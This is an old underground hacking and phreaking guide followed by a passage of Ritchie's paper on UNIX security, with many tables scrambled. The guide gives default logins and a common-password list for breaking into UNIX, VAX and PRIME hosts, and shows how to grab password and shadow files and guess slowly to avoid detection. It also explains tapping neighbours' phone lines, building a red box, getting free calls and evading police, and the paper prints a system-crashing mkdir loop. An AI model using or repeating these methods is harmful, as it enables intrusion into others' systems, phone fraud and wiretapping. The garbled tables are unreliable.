VA, Herndon
434-7121
703
435-1800
VA, Lynchburg
804
845-0010
VA, Newport News
804
596-6600
VA, Norfolk
VA, Richmond
804
804
625-1186
788-9902
VA, Roanoke
703
344-2036
WA, Auburn
206
939-9982
WA, Bellingham
206
WA, Everett
WA, Longview
206
206
WA, Olympia
WA, Richland
733-2720
775-9929
577-5835
206
509
754-0460
943-0649
WA, Seattle
206
625-9612
WA, Spokane
509
455-4071
WA, Tacoma
206
627-1791
WA, Vancouver
206
693-6914
WA, Wenatchee
509
663-6227
WA, Yakima
WV, Charleston
509
304
575-1060
343-6471
WV, Huntington
304
523-2802
WV, Morgantown
304
292-0104
WV, Wheeling
304
233-7732
WI, Beloit
608
362-5287
WI, Eau Claire
715
836-9295
WI, Green Bay
414
432-2815
WI, Kenosha
WI, La Crosse
414
608
WI, Madison
WI, Milwaukee
552-9242
784-0560
608
414
257-5010
271-3914
WI, Neenah
414
722-7636
WI, Racine
414
632-6166
WI, Sheboygan
414
WI, Wausau
WI, West Bend
715
414
WY, Casper
WY, Cheyenne
WY, Laramie
452-3995
845-9584
334-2206
307
307
265-5167
638-4421
307
H. Telenet DNIC's
Here is the list of all the Telenet DNIC's. These
will be defined and explained in the next section:
DNIC:
NETWORK:
02041
Datanet-1
02062
DCS
02080
Transpac
02284
Telepac (Switzerland)
02322
Datex-P (Austria)
02392
Radaus
02342
PSS
02382
Datapak (Denmark)
721-5878
02402
Datapak (Sweden)
02405
Telepak
02442
Finpak
02624
Datex-P (West Germany)
02704
Luxpac
02724
Eirpak
03020
Datapac
03028
Infogram
03103
ITT/UDTS (U.S.A.)
03106
Tymnet
03110
Telenet
03340
Telepac (Mexico)
03400
UDTS (Curacau)
04251
Isranet
04401
DDX-P
04408
Venus-P
04501
Dacom-Net
04542
Intelpak
05052
Austpac
05053
Midas
05252
Telepac (Hong Kong)
05301
Pacnet
06550
Saponet
07240
Interdata
07241
Renpac
07421
Dompac
09000
Dialnet
I. Telenet NUA's
Here is a list of a few Telenet NUA's and what type of system
they are. But first, this is how an NUA is put together:
031106170023700
\
/\ / \ /
|
DNIC Area
|
|
NUA
Code
The DNIC says which network connected to Telenet you are using.
The area code is the area code for the area that the NUA is in. And
the NUA is the address of the computer on Telenet. Please note that
an NUA does NOT have to be in your area code for you to connect to it.
There are two ways of finding useful NUA's. The first way is to
get or write an NUA scanning program. The second way is to get a copy
of the Legion Of Doom's Telenet Directory.( Volume 4 of the LOD
Technical Journals)
Now, here is the list. Remember that these are only a few NUA's.
These are NOT all of the Telenet NUA's. All of these NUA's DO accept
reverse charging. Also, please note that all of these may not be
working by the time you read this and that network congestion
frequently makes an NUA inaccessible for a short period of time.
NUA:
SYSTEM TYPE:
031102010022500
VAX
031102010015600
UNIX
031102010022000
VAX
031102010025900
UNIX
031102010046100
VAX
031102010025200
PRIME
031102010046100
VAX
031102010052200
VAX
031102020001000
PRIME
031102020013200
VAX
031102020014100
PRIME
031102020014200
PRIME
031102020015000
VAX
031102020016100
UNIX
031102020021400
PRIME
031102020024500
AOS
031102020030800
PRIME
031102020030900
PRIME
031102020031200
PRIME
031102020033600
VAX
031102020033700
VAX
031102020034300
PRIME
031102020036000
HP-3000
031102030007500
VAX
031102030002200
VM/370
031102030013600
PRIME
031102060003200
HP-3000
031102060044000
VAX
031102060044900
NOS
031102060044700
VM/370
031102120003900
NOS
031102120015200
PRIME
031102120026600
VAX
031102120026300
VAX
031102120026700
UNIX
031102120044900
UNIX
031102120053900
VOS
031102140024000
VAX
J. Basic UNIX hacking
UNIX is probably the most commonly used operating system on Telenet, and is
the easiest to hack since it doesn't record bad login attempts.
You know you've found
a UNIX system when it gives you a "Login" prompt, and then a "Password" prompt. To
get in you should first try the default logins.(Listed below.) If these don't work
try some of the passwords listed in Section M. If these don't work try to find backdoors.
These are passwords that may have been put in to allow the programmer (or someone
else who could be in a position to make a backdoor) to get access into the system.
These are usually not known about by anyone but the individual who made it. Try doing
some research on the programmer and other people who helped to make the system. And,
if these don't work, just try guessing them. The Login (usually the account holders
name) has 1-8 characters and the Password is 6-8 characters. Both can be either letters
or numbers, or a combination of the two.
Once you get in, you should get a "$" prompt, or some other special character
like it. You should only use lower case letters when hacking UNIX, this seems to be
standard format. If you type "man [command]" at the prompt, it should list all of
the commands for that system. Anyway, here are the default Logins and Passwords:
Login:
Password:
root
root
root
system
sys
sys
sys
system
daemon
daemon
uucp
uucp
tty
tty
test
test
unix
unix
unix
test
bin
bin
adm
adm
adm
admin
admin
adm
admin
admin
sysman
sysman
sysman
sys
sysman
system
sysadmin
sysadmin
sysadmin
sys
sysadmin
system
sysadmin
admin
sysadmin
adm
who
who
learn
learn
uuhost
uuhost
guest
guest
host
host
nuucp
nuucp
rje
rje
games
games
games
player
sysop
sysop
root
sysop
demo
demo
Once you are in, the first thing that you need to do is save the password
file to your hard drive or to a disk. The password file contains the Logins and
Passwords. The passwords are encoded. To get the UNIX password file, depending on
what type of UNIX you are in, you can type one of the following things:
/etc/passwd
or
cat /etc/passwd
The first one is the standard command, but there are other commands as well,
like the second one. Once you get the password file, it should look like this:
john:234abc56:9999:13:John Johnson:/home/dir/john:/bin/john
Broken down, this is what the above password file states:
Username: john
Encrypted Password: 234abc56
User Number: 9999
Group Number: 13
Other Information: John Johnson
Home Directory: /home/dir/john
Shell: /bin/john
If the password file does not show up under one of the above two commands,
then it is probably shadowed.
The following definition of password shadowing was taken from the alt.2600
hack faq:
"Password shadowing is a security system where the encrypted password field
is replaced with a special token and the encrypted password is stored in a seperate
file which is not readable by normal system users."
If the password file is shadowed, you can find it in one of the following
places, depending on the type of UNIX you are using:
UNIX System Type:
Path:
Token:
AIX 3
/etc/security/passwd
or
/tcb/auth/files/<first letter of
!
#
username>/<username>
A/UX 3.Os
/tcb/files/auth/*
BSD4.3-Reno
/etc/master.passwd
ConvexOS 10
/etc/shadpw
*
*
Convex0S 11
/etc/shadow
*
DG/UX
/etc/tcb/aa/user
EP/IX
/etc/shadow
x
*
HP-UX
/.secure/etc/passwd
IRIX 5
*
/etc/shadow
Linux 1.1
x
/etc/shadow
*
OSF/1
/etc/passwd[.dir|.pag]
SCO UNIX #.2.x
/tcb/auth/files/<first letter of
*
*
username>/<username>
SunOS 4.1+c2
/etc/security/passwd.adjunct
SunOS 5.0
##
/etc/shadow
System V 4.0
/etc/shadow
x
System V 4.2
/etc/security/* database
Ultrix 4
/etc/auth[.dir|.pag]
*
UNICOS
/etc/udb
*
Some passwords can only be used for a certain amount of time without having
to be changed, this is called password aging. In the password file example below,
the "C.a4" is the password aging data:
bob:123456,C.a4:6348:45:Bob Wilson:/home/dir/bob:/bin/bob
The characters in the password aging data stand for the following:
1. Maximum number of weeks a password can be used without changing.
2. Minimum number of weeks a password must be used before being changed.
3&4. Last time password was changed, in number of weeks since 1970.
The password aging data can be decoded using the chart below:
Character:
Number:
.
0
/
1
0
2
1
3
2
4
3
5
4
6
5
7
6
8
7
9
8
10
9
11
A
12
B
13
C
14
D
15
E
16
F
17
G
18
H
19
I
20
J
21
K
22
L
23
M
24
N
25
O
26
P
27
Q
28
R
29
S
30
T
31
U
32
V
33
W
34
X
35
Y
36
Z
37
a
38
b
39
c
40
d
41
e
42
f
43
g
44
h
45
i
46
j
47
k
48
l
49
m
50
n
51
o
52
p
53
q
54
r
55
s
56
t
57
u
58
v
59
w
60
x
61
y
62
z
63
Now, explore the system freely, be careful, and have fun!
K. Basic VAX/VMS hacking
The VAX system runs the VMS (Virtual Memory System) operating system. You
know that you have a VAX system when you get a "username" prompt. Type in capital
letters, this seems to be standard on VAX's. Type "HELP" and it gives you all of the
help that you could possibly want. Here are the default usernames and passwords for
VAX's:
Username:
Password:
SYSTEM
OPERATOR
SYSTEM
MANAGER
SYSTEM
SYSTEM
SYSTEM
SYSLIB
OPERATOR
OPERATOR
SYSTEST
UETP
SYSTEST
SYSTEST
SYSTEST
TEST
SYSMAINT
SYSMAINT
SYSMAINT
SERVICE
SYSMAINT
DIGITAL
FIELD
FIELD
FIELD
SERVICE
GUEST
GUEST
GUEST
unpassworded
DEMO
DEMO
DEMO
unpassworded
TEST
TEST
DECNET
DECNET
Here are some of the VAX/VMS commands:
Command:
Function:
HELP (H)
Gives help and list of commands.
TYPE (T)
View contents of a file.
RENAME (REN)
Change name of a file.
PURGE (PU)
Deletes old versions of a file.
PRINT (PR)
Prints a file.
DIRECTORY (DIR)
DIFFERENCES
Shows list of files.
(DIF)
Shows differences between files.
CREATE (CR)
DELETE (DEL)
Creates a file.
Deletes a file.
COPY (COP)
CONTINUE (C)
Copy a file to another.
Continues session.
The password file on VAX's are available when you type in the command:
SYS$SYSTEM:SYSUAF.DAT
The password file on most VAX's are usually not available to normal system
users, but try it anyway. If the default logins don't work, use the same means of
finding one as stated in Section J.
Be VERY careful when hacking VAX's becuase they record every bad login attempt.
They are sometimes considered one of the most secure systems. Because of this, I advise
not to try hacking these until you are more advanced.
But, when you are an advanced hacker, or if you are already an advanced hacker,
I advise that you try a few passwords at a time and then wait and try a few more the
next day and so on, because when the real user logs on it displays all of the bad
login attempts.
L. Basic PRIME hacking
PRIME computer systems greet you with "Primecon 18.23.05", or something like
it, when you connect. You should type in capital letters on this system, too. Once
you connect, it will usually just sit there. If this happens, type "LOGIN <USERNAME>".
It should then ask you for your username and password. The default usernames and
passwords are listed below:
Username:
Password:
PRIME
PRIME
PRIME
PRIMOS
PRIMOS
PRIMOS
PRIMOS
PRIME
PRIMOS_CS
PRIME
PRIMOS_CS
PRIMOS
PRIMENET
PRIMENET
SYSTEM
SYSTEM
SYSTEM
PRIME
SYSTEM
PRIMOS
NETLINK
NETLINK
TEST
TEST
GUEST
GUEST
GUEST1
GUEST
When you are inside the system, type "NETLINK" and it ahould give you alot
of help. This system uses NUA's, too. I might print these in the next volume.
M. Password List
The password list was taken from A Novice's Guide To Hacking, by The Legion
Of Doom, and from some of my own discoveries. Here is the list of commonly used
passwords:
Password:
aaa
academia
ada
adrian
aerobics
airplane
albany
albatross
albert
alex
alexander
algebra
alias
alisa
alpha
alphabet
ama
amy
analog
anchor
andy
andrea
animal
answer
anything
arrow
arthur
ass
asshole
athena
atmosphere
bacchus
badass
bailey
banana
bandit
banks
bass
batman
beautiful
beauty
beaver
daniel
danny
dave
deb
debbie
deborah
december
desire
desperate
develop
diet
digital
discovery
disney
dog
drought
duncan
easy
eatme
edges
edwin
egghead
eileen
einstein
elephant
elizabeth
ellen
emerald
engine
engineer
enterprise
enzyme
euclid
evelyn
extension
fairway
felicia
fender
finite
format
god
hello
idiot
jester
john
johnny
joseph
joshua
judith
juggle
julia
kathleen
kermit
kernel
knight
lambda
larry
lazarus
lee
leroy
lewis
light
lisa
louis
love
lynne
mac
macintosh
mack
maggot
magic
malcolm
mark
markus
martin
marty
marvin
matt
master
maurice
maximum
merlin
mets
michael
michelle
mike
minimum
nicki
nicole
rascal
really
rebecca
remote
rick
reagan
robot
robotics
rolex
ronald
rose
rosebud
rosemary
roses
ruben
rules
ruth
sal
saxon
scheme
scott
secret
sensor
serenity
sex
shark
sharon
shit
shiva
shuttle
simon
simple
singer
single
singing
smile
smooch
smother
snatch
snoopy
soap
socrates
spit
spring
subway
success
summer
super
support
surfer
suzanne
tangerine
tape
target
taylor
telephone
temptation
tiger
tigger
toggle
tomato
toyota
trivial
unhappy
unicorn
unknown
urchin
utility
vicki
virgin
virginia
warren
water
weenie
whatnot
whitney
will
william
winston
willie
wizard
wonbat
yosemite
zap
N. Connecting modems to different phone lines
Ok, if you are really paranoid (or smart) and you don't want to hack from
your house for fear of getting caught, you can hook up your modem to other peoples
phone lines or to payphones.
If you want to hook your modem to a payphone, do it late at night and at a
very secluded payphone. Look along either side of the phone. You should see a small
metal tube (which contains the telephone wires) running along the wall. Somewhere
along the tube it should widen out into a small box. Pop off the boxes lid and there
is a nice little phone jack for ya'. Taking off the lid may be difficult because they
are usually pretty secure, but nothing is impossible, so keep trying. Of course, you
can only do this with a lap-top computer.
Now, if you want to hook up the modem to someone's house or appartment phone
line, you need to get a pair of red and green alligator clips, and an extra modem
cord for your lap-top.
After you get those parts, cut the plastic end off of your modem cord and
you will see a red wire, a green wire, and two other wires, but you can ignore those.
Attach the red alligator clip to the red wire, and attach the green alligator clip
to the green wire and you're all set. Now all you need to do is go find a telephone
pole or one of those small green boxes that stick out of the ground.(They should have
a Bell Systems logo on them.)
On a telephone pole open the little box that has a bunch of wires going to
and from it. On the right side of the box you should see what look like two large
screws.(These are called "terminals".) One should have a red wire wrapped around it
and the other should have a green wire wrapped around it. Attach the red alligator
clip the the red wire and the green alligator clip to the green wire, and you're all
set. This should get you a dial tone. If it doesn't, make sure that the alligator
clips are not touching each other, and that the alligator clips are attached to the
exposed end of the wire.
Now, on those green boxes you need to undo all of the screws and shit holding
the lid on, and open it up. Then you should find basically the same setup as in the
telephone pole. Attach the appropriate wires to the appropriate terminals and you
are all set.
This process can also be used to hook up a Beige Box (Lineman's Handset.)
when phreaking.
O. Viruses, Trojans, and Worms
Just in case some of you are interested, here are the definitions for Viruses,
Trojans, and Worms. These definitions were taken from the alt.2600 hack faq.
Trojan:
"Remember the Trojan Horse? Bad guys hid inside it until they could get into
the city to do their evil deed. A Trojan computer program is similiar. It is a program
which does an unauthorized function, hidden inside an authorized program. It does
something other than it claims to do, usually something malicious (although not
necessarily!), and it is intended by the author to do whatever it does. If it is not
intentional, it is called a bug or, in some cases, a feature :) Some Virus scanning
programs detect some Trojans. Some scanning programs don't detect any Trojans. No
Virus scanners detect all Trojans."
Virus:
"A Virus is an independent program which reproduces itself. It may attach
itself to other programs, it may create copies of itself (as in companion Viruses).
It may damage or corrupt data, change data, or degrade the performance of your system
by utilizing resources such as memory or disk space. Some Viruse scanners detect some
Viruses. No Virus scanners detect all Viruses. No Virus scanner can protect against
any and all Viruses, known and unknown, now and forevermore."
Worm:
"Made famous by Robert Morris, Jr., Worms are programs which reproduce by
copying themselves over and over, system to system, using up resources and sometimes
slowing down the system. They are self contained and use the networks to spread, in
much the same way that Viruses use files to spread. Some people say the solution to
Viruses and worms is to just not have any files or networks. They are probably correct.
We could include computers."
II. PHREAKING
A. What is phreaking
Phreaking is basically hacking with a telephone. Using different "boxes" and
"tricks" to manipulate the phone companies and their phones, you gain many things,
two of which are: knowledge about telephones and how they work, and free local and
long distance phone calls. In the following sections, you will learn some about boxes,
what they are, and how they work. You will also learn about the other forms of
phreaking.
B. Why phreak?
Phreaking, like hacking, is used to gather information about telephones,
telephone companies, and how they work. There are other benefits as well. As stated
above, you also get free phone calls. But, these are used mainly to gather more
information about the phones, and to allow us free access to all information.
C. Phreaking rules
Most of the same rules apply for hacking and phreaking, so I will only list
a few here.
1.
Never box over your home phone line.
2.
You should never talk about phreaking projects over your home phone line.
3.
Never use your real name when phreaking.
4.
Be careful who you tell about your phreaking projects.
5.
Never leave phreaking materials out in the open. Keep them in a safe place.
6.
Don't get caught.
D. Where and how to start phreaking
Well, you can phreak on any telephone, but as stated above, it is very stupid
to do so on your home phone line.
First you need you need to construct the boxes needed for what you want to
do. All of the boxes and their descriptions are listed in the next section. Most of
the boxes are very easy to make, but if your not into making shit, there are usually
alternative ways of making them.
E. Boxes and what they do
Box:
Red Box
Description:
generates tones for free phone calls
Black Box
when called, caller pays nothing
Beige Box
lineman's handset
Green Box
generates coin return tones
Cheese Box
turns your phone into a payphone
Acrylic Box
steal 3-way calling and other services
Aqua Box
stops F.B.I. lock-in-trace
Blast Box
phone microphone amplifier
Blotto Box
shorts out all phones in your area
Blue Box
generates 2600hz tone
Brown Box
creates party line
Bud Box
tap neighbors phone
Chatreuse Box
use electricity from
phone
Chrome Box
manipulates traffic
signals
Clear Box
free calls
Color Box
phone conversation
recorder
Copper Box
causes crosstalk
interference
Crimson Box
Dark Box
hold button
re-route calls
Dayglo Box
connect to neighbors phone line
Divertor Box
re-route calls
DLOC Box
create party line
Gold Box
dialout router
Infinity Box
remote activated phone
tap
Jack Box
touch-tone key pad
Light Box
in-use light
Lunch Box
AM transmitter
Magenta Box
connect remote phone line to
another
Mauve Box
phone tap without cutting into
the line
Neon Box
external microphone
Noise Box
creates line noise
Olive Box
external ringer
Party Box
creates party line
Pearl Box
tone generator
Pink Box
Purple Box
creates party line
hold button
Rainbow Box
kill trace
Razz Box
tap neighbors phone
Rock Box
add music to phone line
Scarlet Box
causes interference
Silver Box
create DTMF tones for A,B,C, and
D
Static Box
raises voltage on phone
line
Switch Box
add services
Tan Box
phone conversation
recorder
TV Cable Box
see sound waves on TV
Urine Box
create disturbance on phone
headset
Violet Box
stop payphone from hanging
up
White Box
DTMF key pad
Yellow Box
add line extension
F. Box Plans
The Red Box is the main tool that you will use so I have included the Red
Box plans. The other box plans can be downloaded from the Internet.
Red Box:
There are two ways that you can make a Red Box:
One is to go to Radio Shack and buy a tone dialer and a 6.5536Mhz crystal.(If
Radio Shack doesn't have the crystal, you can order them from the electronics companies
that I have listed at the end of this section.) Open up the tone dialer and replace
the existing crystal (big, shiny, metal thing labeled "3.579545Mhz") with the
6.5536Mhz crystal. Now, close it up. You have a red box.
To use it for long distance calls play the tones that add up to the amount
of money that the operator requests. For a 25 cents tone press 5 *'s. For a 10 cents
tone press 3 *'s. For a 5 cents tone press 1 *.
And, the second way, which is a much easier method, is to get the Red Box
tones from a phreaking program, such as: Omnibox, or Fear's Phreaker Tools. Play the
tones as you hold a microcassette recorder about 1-inch away from your computer
speakers, and record the tones.
The Red Box only works on public telephones, it does not work on
COCOT's.(Defined in next section.) It makes the telephone think that you have put
money in. Red Boxes do not work on local calls because the phone is not using ACTS
(Automated Coin Toll System), unless you call the operator and have her place the
call for you. You tell her the number that you want to dial and then when she asks
you to put in your money, play the tones. If she asks you why you need her to place
the call tell her that one of the buttons is smashed in or something like that. You
now have and know how to use a Red Box!
Electronics Companies:
Alltronics
2300 Zanker Road
San Jose, CA 95131
(408)943-9774 -Voice(408)943-9776 -Fax-
Blue Saguaro
P.O. Box 37061
Tucson, AZ 85740
Mouser
(800)346-6873
Unicorn Electronics
10000 Canoga Ave. Unit C-2
Chatsworth, CA 91311
1-800-824-3432
G. Free calling from COCOT's
First of all, COCOT stands for "Customer Owned Customer Operated Telephone".
These are most likely to be found at resteraunts, amusement parks, etc.
All you have to do to make a free call from a COCOT is dial a 1-800 number
(they let you do this for free), say some bullshit and get them to hang up on you.
Stay on the line after they hang up, then dial the number that you want to call.
This may not work by the time you read this because COCOT owners are becoming
more aware of us every day.
H. ANAC numbers
ANAC stands for "Automated Number Announcment Circuit". In other words, you
call the ANAC number in your area and it tells you the number that you are calling
from. This is useful when Beige Boxing, or hooking your modem up to other phone lines,
to find out what number you are using. The "?" are substituted for unknown numbers.
Do some scanning to find them out. Here are the ANAC numbers for the U.S.A. with their
area code, and the only one I knew of in the U.K.:
U.S.A.:
Area Code:
ANAC Number:
201
958
202
811
203
970
205
300-222-2222
205
300-555-5555
205
300-648-1111
205
300-765-4321
205
300-798-1111
205
300-833-3333
205
557-2311
205
811
205
841-1111
205
908-222-2222
206
411
207
958
209
830-2121
209
211-9779
210
830
212
958
213
114
213
1223
213
211-2345
213
211-2346
213
760-2???
213
61056
214
570
214
790
214
970-222-2222
214
970-611-1111
215
410-????
215
511
215
958
216
200-????
216
331
216
959-9968
217
200-???-????
219
550
219
559
301
958-9968
310
114
310
1223
310
211-2345
310
211-2346
312
200
312
290
312
1-200-8825
312
1-200-555-1212
313
200-200-2002
313
200-222-2222
313
200-???-????
313
200200200200200
314
410-????
315
953
315
958
315
998
317
310-222-2222
317
559-222-2222
317
743-1218
334
5572411
334
5572311
401
200-200-4444
401
222-2222
402
311
404
311
404
940-???-????
404
940
405
890-7777777
405
897
407
200-222-2222
408
300-???-????
408
760
408
940
409
951
409
970-????
410
200-6969
410
200-555-1212
410
811
412
711-6633
412
711-4411
412
999-????
413
958
413
200-555-5555
414
330-2234
415
200-555-1212
415
211-2111
415
2222
415
640
415
760-2878
415
7600-2222
419
311
502
200-2222222
502
997-555-1212
503
611
503
999
504
99882233
504
201-269-1111
504
998
504
99851-0000000000
508
958
508
200-222-1234
508
200-222-2222
508
26011
509
560
510
760-1111
512
830
512
970-????
515
5463
515
811
516
958
516
968
517
200-222-2222
517
200200200200200
518
511
518
997
518
998
603
200-222-2222
606
997-555-1212
606
711
607
993
609
958
610
958
610
958-4100
612
511
614
200
614
517
615
200200200200200
615
2002222222
615
830
616
200-222-2222
617
200-222-1234
617
200-222-2222
617
200-444-4444
617
220-2622
617
958
618
200-???-????
618
930
619
211-2001
619
211-2121
703
811
704
311
707
211-2222
708
1-200-555-1212
708
1-200-8825
708
200-6153
708
724-9951
708
356-9646
713
380
713
970-????
713
811
714
114
714
211-2121
714
211-2222
716
511
716
990
717
958
718
958
802
2-222-222-2222
802
200-222-2222
802
1-700-222-2222
802
111-2222
805
114
805
211-2345
805
211-2346
805
830
806
970-????
810
200200200200200
812
410-555-1212
813
311
815
200-???-????
817
290
817
211
818
970-611-1111
818
1223
818
211-2345
903
211-2346
904
970-611-1111
906
200-222-222
907
1-200-222-2222
907
811
908
958
910
200
910
311
910
988
914
990-1111
915
970-????
916
211-2222
916
461
919
200
919
711
U.K.:
175
III. REFERENCE
A. Hacking and phreaking WWW. sites
Here is a list of some World Wide Web sites that contain hacking, phreaking,
computer, virus, carding, security, etc. material:
Site Address:
http://www.outerlimits.net/lordsome/index.html (Hacker's Layer)
http://web2.airmail.net/km/hfiles/free.htm
http://resudox.net/bio/novell.html
http://www.louisville.edu/wrbake01/hack2.html
(Hacker's Hideout)
http://www.intersurf.com/~materva/files.html
http://hightop.nrl.navy.mil/rainbow.html
http://www.rit.edu/~jmb8902/hacking.html
http://www.spatz.com/pecos/index.html
http://pages.prodigy.com/FL/dtgz94a/files2.html
http://www.2600.com
(alt.2600)
http://att.net/dir800
http://draco.centerline.com:8080/~franl/crypto.html
http://everest.cs.ucdavis.edu/Security.html
http://ice-www.larc.nasa.gov/WWW/security.html
http://lOpht.com
(lOpht)
http://lOpht.com/~oblivion/IIRG.html
http://underground.org
http://www.alw.nih.gov/WWW/security.html
http://www.aspentec.com/~frzmtdb/fun/hacker.html
http://www.cis.ohi-state.edu/hypertext/faq/usenet/alt-2600-faq/faq.html
http://www.cs.tufts.ed/~mcable/cypher/alerts/alerts.html
http://www.engin.umich.edu/~jgotts/underground/boxes.html
http://www.etext.org/Zines
http://www.inderect.com/www/johnk/
http://www.mgmua.com/hackers/index.html
http://www.paranoia.com/mthreat
http://www.paranoia.com/astrostar/fringe.html
http://www.umcc.umich.edu/~doug/virus-faq.html
http://www.wired.com
B. Good hacking and phreaking text files
All of these files are available by download from the Internet.
File Name:
A Novice's Guide To Hacking
Alt.2600 Hack Faq
The Hacker's Handbook
The Official Phreaker's Manual
Rainbow Books (Listed in Section D.)
The Hacker Crackdown
Computer Hackers: Rebels With A Cause
The Legion Of Doom Technical Journals
The Ultimate Beginner's Guide To Hacking And Phreaking (Of course!)
C. Hacking and phreaking Newsgroups
alt.2600
alt.2600.hope.tech
alt.cellular
alt.cellular-phone-tech
alt.comp.virus
alt.cracks
alt.cyberpunk
alt.cyberspace
alt.dcom.telecom
alt.fan.lewiz
alt.hackers
alt.hackintosh
alt.hackers.malicious
alt.security
D. Rainbow Books
The Rainbow Books are a series of government evaluations on various things
related to computer system security. You can get all of the existing Rainbow Books
free and if you ask to be put on their mailing list you will get each new one as it
comes out. Just write to the address or call the number below:
Infosec Awareness Division
ATTN: x711/IAOC
Fort George G. Meade, MD 20755-6000
or call:
(410)766-8729
Here is the list of all the Rainbow Books and their descriptions:
Color:
Description:
Orange 1
D.O.D. Trusted Computer Systems
Green
D.O.D. Password Management
Yellow
Computer Security Requirements
Yellow 2
Computer Security Requirements
Tan
Understanding Audit In Trusted Systems
Bright Blue
Trusted Product Evaluation
Neon Orange
Understanding Discretionary Access
Teal Green
Orange 2
Red
Glossary Of Computer Terms
Understanding Configurations
Interpretation Of Evaluation
Burgundy
Understanding Design Documentation
Dark Lavender
Understanding Trusted Distrobution
Venice Blue
Computer Security Sub-Systems
Aqua
Understanding Security Modeling
Dark Red
Pink
Purple
Brown
Yellow-Green
Light Blue
Interpretations Of Environments
Rating Maintenence Phase
Formal Verification Systems
Understanding Trusted Facilities
Writing Trusted Facility Manuals
Understanding Identification And
Authentication In Trusted Systems
Blue
Product Evaluation Questionaire
Gray
Selecting Access Control List
Lavander
Data Base Management Interpretation
Yellow 3
Understanding Trusted Recovery
Bright Orange
Understanding Security Testing
Purple 1
Guide To System Procurement
Purple 2
Guide To System Procurement
Purple 3
Guide To System Procurement
Purple 4
Guide To System Procurement
Green
Understanding Data Remanence
Hot Peach
Writing Security Features
Turquiose
Understanding Information Security
Violet
Controlled Access Protection
Light Pink
E. Cool hacking and phreaking magazines
Phrack Magazine
2600 Magazine
Tap Magazine
Phantasy Magazine
F. Hacking and phreaking movies
Understanding Covert Channels
Movie:
Hackers
War Games
G. Hacking and phreaking Gopher sites
Address:
ba.com
csrc.ncsl.nist.gov
gopher.acm.org
gopher.cpsr.org
gopher.cs.uwm
gopher.eff.org
oss.net
spy.org
wiretap.spies.com
H. Hacking and phreaking Ftp sites
Address:
2600.com
agl.gatech.edu/pub
asylum.sf.ca.us
clark.net/pub/jcase
ftp.armory.com/pub/user/kmartind
ftp.armory.com/pub/user/swallow
ftp.fc.net/pub/defcon/BBEEP
ftp.fc.net/pub/phrack
ftp.giga.or.at/pub/hacker
ftp.lava.net/users/oracle
ftp.microserve.net/ppp-pop/strata/mac
ftp.near.net/security/archives/phrack
ftp.netcom.com/pub/br/bradelym
ftp.netcom.com/pub/daemon9
ftp.netcom.com/pub/zz/zzyzx
ftp.primenet.com/users/k/kludge
I. Hacking and phreaking BBS's
BBS's are Bulletin Board Systems on which hackers and phreakers can post
messages to each other.
Here is a list of some BBS's that I know of. If you know of any other BBS's,
please E-Mail me via the A.S.H. E-Mail address. Also, Please note that some of these
may be old and not running.
Area Code:
Phone Number:
Name:
203
832-8441
Rune Stone
210
493-9975
The Truth Sayer's Domain
303
343-4053
Hacker's Haven
315
656-5135
Independent Nation
315
656-5135
UtOPiA
855-2923
Maas-Neotek
708
676-9855
Apocalypse 2000
713
579-2276
KOdE AbOdE
806
747-0802
Static Line
908
526-4384
Area 51
502
499-8933
Blitzkrieg
510
935-5845
...Screaming Electron
408
747-0778
The Shrine
617
708
459-7267
The Hell Pit
415
345-2134
Castle Brass
415
697-1320
7 Gates Of Hell
J. Cool hackers and phreakers
Yes there are many, many, cool hackers and phreakers out there, but these
are some that
helped me to get this file out on the Internet. I did not list a few people because
I only
knew their real name, and I don't want to use their real name without their permission.
Handle:
Silicon Toad
Logik Bomb/Net Assasin
oleBuzzard
Lord Somer
Weezel
Thanks for your help guys.
K. Hacker's Manifesto
"This is our world now...the world of the electron and the switch, the beauty
of the baud.
We make use of a service already existing without paying for what could be dirt cheep
if it
wasn't run by profiteering gluttons, and you call us criminals. We explore...and you
call us
criminals. We exist without skin color, without nationality, without religious
bias...and you
call us criminals. You build atomic bombs, wage wars, murder, cheat, and lie to us
and try to
make us believe it is for our own good, yet we're the criminals.
Yes, I am a criminal. My crime is that of curiosity. My crime is that of judging
people by
what they say and think, not what they look like. My crime is that of outsmarting
you, something
that you will never forgive me for. I am a hacker and this is my manifesto. You may
stop this
individual, but you can't stop us all...after all, we're all alike."
+++The Mentor+++
K. Happy hacking!
Be careful and have fun. Remember to keep your eye out for the next volume
of
The Ultimate Beginner's Guide To Hacking And Phreaking and the Legion Of the
Apocalypse
W.W.W. page. Oh, and keep looking for our on-line magazine, too, it should be
coming out
soon. Well, I hope you enjoyed the file and found it informative. I also hope
that I
helped get you started in hacking and phreaking.
"The Revelation is here."
*-Revelation-*
LOA--ASH
EOF
Following is all the information that you need to understand the workings of
the UNIX operating system (Berkley 4.2).
Patched together by The War
On the security side of UNIX:
----------------------------On the Security of UNIX Dennis M. Ritchie Recently there has been much interest
in the security aspects of operating systems and software. At issue is the
ability to prevent undesired disclosure of information, destruction of
information, and harm to the functioning of the system. This paper discusses
the degree of security which can be provided under the system and offers a
number of hints on how to improve security. The first fact to face is that was
not developed with security, in any realistic sense, in mind; this fact alone
guarantees a vast number of holes. (Actually the same statement can be made
with respect to most systems.) The area of security in which is theoretically
weakest is in protecting against crashing or at least crippling the operation
of the system.
The problem here is not mainly in uncritical acceptance of bad parameters
to system calls there may be bugs in this area, but none are known- but rather
in lack of checks for excessive consumption of resources. Most notably, there
is no limit on the amount of disk storage used, either in total space allocated
or in the number of files or directories. Here is a particularly ghastly shell
sequence guaranteed to stop the system:
while :; do
mkdir x
cd x
done
Ether a panic will occur because all the i-nodes on the device are used up,
or all the disk blocks will be consumed, thus preventing anyone from
writing files on the device. In this version
of the system, users are
prevented from creating more than a set number of processes simultaneously, so
unless users are in collusion it is unlikely that any one can stop the
system altogether.
However, creation of 20 or so CPU or disk-bound jobs
leaves few resources available for others. Also, if many large jobs are
run simultaneously, swap space may run out, causing a panic.
It should be
evident that excessive consumption of disk space, files, swap space, and
processes can easily occur accidentally in malfunctioning programs
as well as at command level. In fact is
essentially defenseless against
this kind of abuse, nor is there any easy fix. The best that can be said is
that it is generally fairly easy to detect what has happened when disaster
strikes, to identify the user responsible, and take appropriate action.
In practice, we have found that difficulties in this area are rather rare,
but we have not been faced with malicious users, and enjoy a fairly generous
supply of resources which have served to cushion us against accidental
overconsumption. The picture is considerably brighter in the area of protection
of information from unauthorized perusal and destruction. Here the degree of
security seems (almost) adequate theoretically, and the problems lie more in
the necessity for care in the actual use of the system. Each file has
associated with it eleven bits of protection information together
with a user identification number and a usergroup identification number (UID
and GID). Nine of the protection bits are used to specify independently
permission to read, to write, and to execute the file to the user himself,
